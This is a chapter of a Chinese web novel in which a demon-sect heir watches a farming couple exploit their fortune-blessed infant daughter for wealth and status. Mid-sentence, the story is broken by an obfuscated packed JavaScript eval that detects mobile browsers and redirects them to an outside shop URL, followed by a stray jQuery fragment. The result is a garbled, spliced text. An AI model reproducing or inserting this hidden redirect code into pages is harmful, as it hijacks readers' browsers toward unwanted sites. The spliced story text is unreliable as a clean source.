晨光破晓,青溪镇在一片温和暖意中苏醒。
昨夜福煞无声相济,灵汐一夜安睡,眉心血色秘纹安稳蛰伏,没有再出现剧烈反噬;张乾也借着这份微弱的福运滋养,体内煞气躁动平复大半,神魂清明,心境却早已不复最初的纯粹冰冷。
只是这份悄然滋生的异样,被他死死压在心底,面上依旧是那副清冷疏离、不问俗事的模样,任谁也看不出分毫破绽。
林家正屋早已忙碌起来。
王氏抱着灵汐坐在梳妆台前,细细替她整理柔软的胎发,眉眼间满是疼爱,可这份疼爱之下,藏着的私心,却一日比一日浓烈。
自灵汐降生引来甘霖、福运庇佑全镇之后,林家的生活发生了天翻地覆的变化。从一贫如洗的农户,一跃成为青溪镇最受敬重、最富足的人家,往来皆是乡绅官吏、四方来客,金银财物、绫罗绸缎源源不断涌入家门,这样的荣华富贵,是夫妻俩从前想都不敢想的。
起初,他们只是单纯疼爱女儿,感激她带来的转机;可日子久了,被恭维与追捧包裹,被富足与虚荣浸染,那份质朴的亲情,早已悄悄变质。
在他们心里,灵汐早已不是单纯的女儿,而是能带来富贵、名望、地位的福星筹码。
只要灵汐在,林家就能永远被众人敬畏,永远不愁吃穿,甚至能借着福仙的名头,攀上更高的权贵,彻底摆脱农户的出身,一步登天。
“灵汐乖,再帮张员外家的小公子沾沾福运,咱们家又能添不少好东西了。”
王氏轻轻拍着灵汐的后背,语气温柔,可话语里的算计,却藏都藏不住。
今日一早,镇上最有钱的张员外便派人送来厚礼,恳请灵汐出手,帮他久病不愈的独子祛除病痛、沾些福运。张员外出手阔绰,送来的银锭、绸缎、珍玩堆了半间屋子,看得林老实夫妇双眼发亮,几乎没有丝毫犹豫便应了下来。
灵汐懵懂地靠在王氏怀中,小脑袋微微耷拉着,小脸带着几分难以察觉的苍白。昨夜安稳入睡让她精神好了些许,可连日来频繁外泄福运,早已掏空了她稚嫩的命格本源,只要再动用一次福运,眉心的刺痛便会再次袭来,身体的虚弱也会加重一分。
可王氏对此视而不见。
在她眼里,灵汐的福运是取之不尽的,□□解难、换取好处,本就是她身为福仙的本分,女儿受点小苦不算什么,只要林家能一直风光下去,一切都值得。
林老实从外面走进来,手里拿着张员外送来的银票,脸上笑开了花,小心翼翼将银票贴身收好,搓着手说道:“娘子,张员外可是咱们镇上最大的财主,这次帮了他,以后咱们林家在镇上的地位就彻底稳了,往后还有更多好处等着咱们。”
“我自然知道。”王氏点点头,脸上带着得意,“等会儿我就抱着灵汐过去,保准让张家公子药到病除。以后咱们还要借着灵汐的名头,多结交些达官贵人,等青云宗那边来人,咱们再好好攀附一番,说不定灵汐将来能拜入仙门,咱们也能跟着沾光,做神仙的爹娘!”
夫妻俩你一言我一语,满心都是借着灵汐向上攀爬的美梦,全程没有一句关心灵汐身体是否吃得消,没有半分担忧她频繁动用福运带来的反噬痛苦。
亲情的裂痕,在这份赤裸裸的算计中,被彻底撕开,越扩越大。
偏院廊下,张乾将这一切听得一清二楚。
他本在闭目调息,林家夫妇的对话一字不落地传入耳中,少年垂在身侧的手指微微收紧,周身本已平复的煞气,悄然泛起一丝冷戾。
他早已知晓这对凡人父母的自私麻木,可亲耳听见他们将灵汐当作换取富贵的筹码,毫不在意她的死活,心底依旧掠过一丝不易察觉的冷意。
灵汐尚且懵懂,用最纯粹的善意依赖着父母,可她的至亲,却在一点点榨干她的命格本源,亲手将她推向天道献祭的深渊。
可笑,又可悲。
可他依旧没有上前阻止,没有出声提醒。
他是魔宗少主,是来夺取命格的掠夺者,不是什么心软的善人。林家夫妇越是挥霍灵汐的福运,灵汐的命格本源消耗越快,天道献祭的枷锁收得越紧,灵汐就越脆弱,日后他完成任务的机会就越大。
甚至在某种意义上,这对夫妇,是在帮他,也在帮天道,加速灵汐的宿命走向。
只是心底那份刚滋生的异样,又多了一丝复杂。
他尚且会下意识护着灵汐不受妖邪伤害,可她的亲生父母,却只把她当作谋利的工具。
这时,王氏抱着灵汐从正屋走出,恰好看到廊下静坐的张乾,脸上立刻堆起恭敬的笑容:“小仙长,今日要劳烦您在家中帮我们照看一二,我带灵汐去一趟张员外家,帮他家孩子沾沾福运。”
张乾抬眸,目光淡淡扫过灵汐苍白的小脸,声音依旧清冷:“频繁动用福运,对她不好。”
这是他第一次,主动开口劝阻。
王氏愣了一下,随即脸上闪过一丝尴尬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597666|205595||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,很快又笑着打圆场:“哎呀,小仙长多虑了,灵汐是福仙转世,福运深厚得很,哪会这么娇气,帮人一次两次不算什么,再说都是乡里乡亲的,咱们也不好推辞不是?”
林老实也连忙附和:“是啊小仙长,就去一会儿,很快就回来,不会耽误什么的。”
两人嘴上说得客气,眼底却满是不以为然。在他们看来,张乾只是一个外人,无权干涉他们如何对待自己的女儿,更不可能理解灵汐能给林家带来多大的好处。
张乾看着他们执意的模样,没有再多说一个字。
多说无益,这对被富贵迷了心窍的凡人,根本听不进任何劝告。
他缓缓垂下眼眸,重新恢复了沉默,周身的冷意却更浓了几分。
王氏见他不再阻拦,放下心来,抱着灵汐快步走出院门,坐上早已备好的马车,朝着张员外家赶去。
灵汐趴在王氏肩头,路过廊下时,清澈的眼眸看向张乾,小眉头微微蹙起,像是在寻求一丝庇护,小手无意识地朝着他的方向伸了伸。
可她太小了,什么也做不了,只能任由母亲带着自己,再次去消耗自身的福运。
张乾看着她渐渐远去的小小身影,心底那道冰封的执念,又裂开了一道缝隙。
马车渐行渐远,很快消失在街巷尽头。
林家院内重归安静,张乾独自伫立在廊下,望着空荡荡的院门,久久没有挪动脚步。
他很清楚,这只是开始。
往后还会有无数个张员外、无数个乡绅官吏,借着各种名义,前来消耗灵汐的福运。而她的父母,会为了源源不断的好处,一次次将她推出去,直到她命格耗尽,被天道彻底献祭。
天道在收割,至亲在压榨,仙门在觊觎,魔宗在蛰伏。
小小的灵汐,被各方势力裹挟,孤立无援,步步皆是绝境。
而他,身处其中,本应冷眼旁观,静待时机,夺取命格。
可福煞相济的羁绊,早已让他无法再做到全然的无动于衷。
他依旧不会放弃任务,不会违背万煞君的命令,可心底,已经悄悄生出了一个念头——
至少在他动手之前,不会让任何人,轻易毁掉他的猎物。
至于这份念头会带来什么后果,他暂时不愿去想。
天边流云缓缓浮动,青溪镇依旧喧嚣热闹,可阳光之下,尽是阴影。
至亲的算计,早已埋下伏笔,灵汐的苦难,还在继续。